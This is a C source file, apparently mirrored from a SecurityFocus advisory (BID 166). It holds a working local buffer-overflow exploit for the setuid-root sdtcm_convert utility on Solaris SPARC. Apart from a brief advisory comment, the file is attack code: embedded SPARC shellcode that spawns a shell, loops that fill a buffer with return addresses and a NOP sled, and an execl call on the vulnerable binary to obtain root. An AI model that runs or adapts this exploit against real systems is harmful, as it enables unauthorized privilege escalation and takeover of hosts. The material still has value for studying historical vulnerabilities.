880bbe402e
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78 lines
No EOL
2.4 KiB
C
78 lines
No EOL
2.4 KiB
C
/*
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source: https://www.securityfocus.com/bid/166/info
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Sdtcm_convert is a setuid-root data conversion utility which converts OpenWindows version 3 calendar data files to version 4 and vice versa. A buffer overflow condition has been found in sdtcm_convert which may be exploited to obtain root access.
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*/
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/*=============================================================================
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sdtcm_convert Overflow Exploits( for Sparc Edition)
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The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
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Written by UNYUN (unewn4th@usa.net)
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[usage]
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% gcc ex_sdtcm_convert.c (This example program)
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% a.out
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If no response, hit ctrl+c
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#
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=============================================================================
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*/
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#define ADJUST 2
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#define OFFSET1 4000
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#define LENGTH1 260
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#define OFFSET2 6000
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#define LENGTH2 1000
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#define OFFSET3 6000+16*30
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#define NOP 0xa61cc013
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char exploit_code[] =
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"\x82\x10\x20\x17\x91\xd0\x20\x08"
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"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
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"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
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"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
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"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
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"\x82\x10\x20\x3b\x91\xd4\xff\xff";
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unsigned long get_sp(void)
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{
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__asm__("mov %sp,%i0 \n");
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}
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unsigned long ret_adr;
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int i;
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main()
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{
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static char x[11000];
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memset(x,'a',10000);
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ret_adr=get_sp()-6300;
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for (i = 0; i < 5000 ; i+=4){
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x[i+3]=ret_adr & 0xff;
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x[i+2]=(ret_adr >> 8 ) &0xff;
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x[i+1]=(ret_adr >> 16 ) &0xff;
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x[i+0]=(ret_adr >> 24 ) &0xff;
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}
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ret_adr=get_sp() - 10200;
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if ((ret_adr & 0xff )==0) ret_adr+=4;
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printf("%lx\n",ret_adr);
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for (i = OFFSET1+ADJUST; i < OFFSET1+LENGTH1 ; i+=4){
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x[i+3]=ret_adr & 0xff;
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x[i+2]=(ret_adr >> 8 ) &0xff;
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x[i+1]=(ret_adr >> 16 ) &0xff;
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x[i+0]=(ret_adr >> 24 ) &0xff;
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}
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for (i = OFFSET2+ADJUST; i < OFFSET2+LENGTH2 ; i+=4){
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x[i+3]=NOP & 0xff;
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x[i+2]=(NOP >> 8 ) &0xff;
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x[i+1]=(NOP >> 16 ) &0xff;
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x[i+0]=(NOP >> 24 ) &0xff;
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}
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for (i=0;i<strlen(exploit_code);i++)
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x[OFFSET3+ADJUST+i]=exploit_code[i];
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x[10000]=0;
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execl("/usr/dt/bin/sdtcm_convert", "sdtcm_convert",
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"-d",x,"test",(char *) 0);
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} |